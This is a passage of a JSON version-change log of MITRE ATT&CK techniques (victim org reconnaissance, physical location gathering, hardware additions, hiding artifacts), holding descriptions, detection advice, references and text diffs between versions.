\"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n+Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n \\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\\n+Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"ThreatConnect Infrastructure Dec 2020\", \"description\": \"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.\", \"url\": \"https://threatconnect.com/blog/infrastructure-research-hunting/\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0035: Internet Scan (Response Content)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-02 16:27:02.339000+00:00", "modified": "2021-08-27 15:37:09.343000+00:00", "name": "Gather Victim Org Information", "description": "Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "reconnaissance" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1591", "external_id": "T1591" }, { "source_name": "ThreatPost Broadvoice Leak", "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.", "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/" }, { "source_name": "SEC EDGAR Search", "description": "U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021.", "url": "https://www.sec.gov/edgar/search-and-access" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-27 15:37:09.343000+00:00\", \"old_value\": \"2021-04-15 03:39:09.021000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.\\n\\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).\", \"old_value\": \"Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.\\n\\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.\\n \\n-Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).\\n+Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).\"}, \"root['external_references'][2]['source_name']\": {\"new_value\": \"SEC EDGAR Search\", \"old_value\": \"DOB Business Lookup\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021.\", \"old_value\": \"Concert Technologies . (n.d.). Business Lookup - Company Name Search. Retrieved October 20, 2020.\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://www.sec.gov/edgar/search-and-access\", \"old_value\": \"https://www.dobsearch.com/business-lookup/\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may gather information about the victim's organit1Adversaries may gather information about the victim's organi
>zation that can be used during targeting. Information about >zation that can be used during targeting. Information about 
>an organization may include a variety of details, including >an organization may include a variety of details, including 
>the names of divisions/departments, specifics of business op>the names of divisions/departments, specifics of business op
>erations, as well as the roles and responsibilities of key e>erations, as well as the roles and responsibilities of key e
>mployees.  Adversaries may gather this information in variou>mployees.  Adversaries may gather this information in variou
>s ways, such as direct elicitation via [Phishing for Informa>s ways, such as direct elicitation via [Phishing for Informa
>tion](https://attack.mitre.org/techniques/T1598). Informatio>tion](https://attack.mitre.org/techniques/T1598). Informatio
>n about an organization may also be exposed to adversaries v>n about an organization may also be exposed to adversaries v
>ia online or other accessible data sets (ex: [Social Media](>ia online or other accessible data sets (ex: [Social Media](
>https://attack.mitre.org/techniques/T1593/001) or [Search Vi>https://attack.mitre.org/techniques/T1593/001) or [Search Vi
>ctim-Owned Websites](https://attack.mitre.org/techniques/T15>ctim-Owned Websites](https://attack.mitre.org/techniques/T15
>94)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Bu>94)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC ED
>siness Lookup) Gathering this information may reveal opportu>GAR Search) Gathering this information may reveal opportunit
>nities for other forms of reconnaissance (ex: [Phishing for >ies for other forms of reconnaissance (ex: [Phishing for Inf
>Information](https://attack.mitre.org/techniques/T1598) or [>ormation](https://attack.mitre.org/techniques/T1598) or [Sea
>Search Open Websites/Domains](https://attack.mitre.org/techn>rch Open Websites/Domains](https://attack.mitre.org/techniqu
>iques/T1593)), establishing operational resources (ex: [Esta>es/T1593)), establishing operational resources (ex: [Establi
>blish Accounts](https://attack.mitre.org/techniques/T1585) o>sh Accounts](https://attack.mitre.org/techniques/T1585) or [
>r [Compromise Accounts](https://attack.mitre.org/techniques/>Compromise Accounts](https://attack.mitre.org/techniques/T15
>T1586)), and/or initial access (ex: [Phishing](https://attac>86)), and/or initial access (ex: [Phishing](https://attack.m
>k.mitre.org/techniques/T1566) or [Trusted Relationship](http>itre.org/techniques/T1566) or [Trusted Relationship](https:/
>s://attack.mitre.org/techniques/T1199)).>/attack.mitre.org/techniques/T1199)).
", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-02 16:32:33.126000+00:00", "modified": "2021-08-27 15:37:09.025000+00:00", "name": "Determine Physical Locations", "description": "Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "reconnaissance" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1591/001", "external_id": "T1591.001" }, { "source_name": "ThreatPost Broadvoice Leak", "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.", "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/" }, { "source_name": "SEC EDGAR Search", "description": "U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021.", "url": "https://www.sec.gov/edgar/search-and-access" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-27 15:37:09.025000+00:00\", \"old_value\": \"2021-04-15 03:37:35.863000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.\\n\\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).\", \"old_value\": \"Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.\\n\\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.\\n \\n-Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).\\n+Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).\"}, \"root['external_references'][2]['source_name']\": {\"new_value\": \"SEC EDGAR Search\", \"old_value\": \"DOB Business Lookup\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021.\", \"old_value\": \"Concert Technologies . (n.d.). Business Lookup - Company Name Search. Retrieved October 20, 2020.\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://www.sec.gov/edgar/search-and-access\", \"old_value\": \"https://www.dobsearch.com/business-lookup/\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may gather the victim's physical location(s) that1Adversaries may gather the victim's physical location(s) tha
>t can be used during targeting. Information about physical l>t can be used during targeting. Information about physical l
>ocations of a target organization may include a variety of d>ocations of a target organization may include a variety of d
>etails, including where key resources and infrastructure are>etails, including where key resources and infrastructure are
> housed. Physical locations may also indicate what legal jur> housed. Physical locations may also indicate what legal jur
>isdiction and/or authorities the victim operates within.  Ad>isdiction and/or authorities the victim operates within.  Ad
>versaries may gather this information in various ways, such >versaries may gather this information in various ways, such 
>as direct elicitation via [Phishing for Information](https:/>as direct elicitation via [Phishing for Information](https:/
>/attack.mitre.org/techniques/T1598). Physical locations of a>/attack.mitre.org/techniques/T1598). Physical locations of a
> target organization may also be exposed to adversaries via > target organization may also be exposed to adversaries via 
>online or other accessible data sets (ex: [Search Victim-Own>online or other accessible data sets (ex: [Search Victim-Own
>ed Websites](https://attack.mitre.org/techniques/T1594) or [>ed Websites](https://attack.mitre.org/techniques/T1594) or [
>Social Media](https://attack.mitre.org/techniques/T1593/001)>Social Media](https://attack.mitre.org/techniques/T1593/001)
>).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Busin>).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR
>ess Lookup) Gathering this information may reveal opportunit> Search) Gathering this information may reveal opportunities
>ies for other forms of reconnaissance (ex: [Phishing for Inf> for other forms of reconnaissance (ex: [Phishing for Inform
>ormation](https://attack.mitre.org/techniques/T1598) or [Sea>ation](https://attack.mitre.org/techniques/T1598) or [Search
>rch Open Websites/Domains](https://attack.mitre.org/techniqu> Open Websites/Domains](https://attack.mitre.org/techniques/
>es/T1593)), establishing operational resources (ex: [Develop>T1593)), establishing operational resources (ex: [Develop Ca
> Capabilities](https://attack.mitre.org/techniques/T1587) or>pabilities](https://attack.mitre.org/techniques/T1587) or [O
> [Obtain Capabilities](https://attack.mitre.org/techniques/T>btain Capabilities](https://attack.mitre.org/techniques/T158
>1588)), and/or initial access (ex: [Phishing](https://attack>8)), and/or initial access (ex: [Phishing](https://attack.mi
>.mitre.org/techniques/T1566) or [Hardware Additions](https:/>tre.org/techniques/T1566) or [Hardware Additions](https://at
>/attack.mitre.org/techniques/T1200)).>tack.mitre.org/techniques/T1200)).
", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2018-04-18 17:59:24.739000+00:00", "modified": "2021-08-17 00:28:00.947000+00:00", "name": "Hardware Additions", "description": "Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), addition of new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "initial-access" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1200", "external_id": "T1200" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/440.html", "external_id": "CAPEC-440" }, { "source_name": "Ossmann Star Feb 2011", "description": "Michael Ossmann. (2011, February 17). Throwing Star LAN Tap. Retrieved March 30, 2018.", "url": "https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html" }, { "source_name": "Aleks Weapons Nov 2015", "description": "Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018.", "url": "https://www.youtube.com/watch?v=lDvf4ScWbcQ" }, { "source_name": "Hak5 RubberDuck Dec 2016", "description": "Hak5. (2016, December 7). Stealing Files with the USB Rubber Ducky \u2013 USB Exfiltration Explained. Retrieved March 30, 2018.", "url": "https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained" }, { "source_name": "Frisk DMA August 2016", "description": "Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel. Retrieved March 30, 2018.", "url": "https://www.youtube.com/watch?v=fXthwl6ShOg" }, { "source_name": "McMillan Pwn March 2012", "description": "Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018.", "url": "https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_detection": "Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. \n\nEndpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Windows", "Linux", "macOS" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-17 00:28:00.947000+00:00\", \"old_value\": \"2021-04-22 17:47:04.476000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), addition of new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.\", \"old_value\": \"Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by APT groups are scarce, many penetration testers leverage hardware additions for initial access. Commercial and open source products are leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), man-in-the middle encryption breaking (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), adding new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may introduce computer accessories, computers, ot1Adversaries may introduce computer accessories, computers, o
>r networking hardware into a system or network that can be u>r networking hardware into a system or network that can be u
>sed as a vector to gain access. While public references of u>sed as a vector to gain access. While public references of u
>sage by APT groups are scarce, many penetration testers leve>sage by threat actors are scarce, many red teams/penetration
>rage hardware additions for initial access. Commercial and o> testers leverage hardware additions for initial access. Com
>pen source products are leveraged with capabilities such as >mercial and open source products can be leveraged with capab
>passive network tapping (Citation: Ossmann Star Feb 2011), m>ilities such as passive network tapping (Citation: Ossmann S
>an-in-the middle encryption breaking (Citation: Aleks Weapon>tar Feb 2011), network traffic modification (i.e. [Adversary
>s Nov 2015), keystroke injection (Citation: Hak5 RubberDuck >-in-the-Middle](https://attack.mitre.org/techniques/T1557)) 
>Dec 2016), kernel memory reading via DMA (Citation: Frisk DM>(Citation: Aleks Weapons Nov 2015), keystroke injection (Cit
>A August 2016), adding new wireless access to an existing ne>ation: Hak5 RubberDuck Dec 2016), kernel memory reading via 
>twork (Citation: McMillan Pwn March 2012), and others.>DMA (Citation: Frisk DMA August 2016), addition of new wirel
 >ess access to an existing network (Citation: McMillan Pwn Ma
 >rch 2012), and others.
", "changelog_mitigations": { "shared": [ "M1034: Limit Hardware Installation", "M1035: Limit Access to Resource Over Network", "T1200: Hardware Additions Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-26 17:41:25.933000+00:00", "modified": "2021-10-20 19:01:56.752000+00:00", "name": "Hide Artifacts", "description": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)\n\nAdversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1564", "external_id": "T1564" }, { "source_name": "Sofacy Komplex Trojan", "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" }, { "source_name": "Cybereason OSX Pirrit", "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 31, 2020.", "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf" }, { "source_name": "MalwareBytes ADS July 2015", "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.", "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/" }, { "source_name": "Sophos Ragnar May 2020", "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.", "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Creation", "File: File Creation", "Application Log: Application Log Content", "Command: Command Execution", "File: File Metadata", "User Account: User Account Creation", "User Account: User Account Metadata", "File: File Modification", "Script: Script Execution", "Process: OS API Execution", "Windows Registry: Windows Registry Key Modification", "Firmware: Firmware Modification", "Service: Service Creation" ], "x_mitre_detection": "Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts. Monitor event and authentication logs for records of hidden artifacts being used. Monitor the file system and shell commands for hidden attribute usage.", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Linux", "macOS", "Windows", "Office 365" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-20 19:01:56.752000+00:00\", \"old_value\": \"2020-09-23 11:31:50.636000+00:00\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": 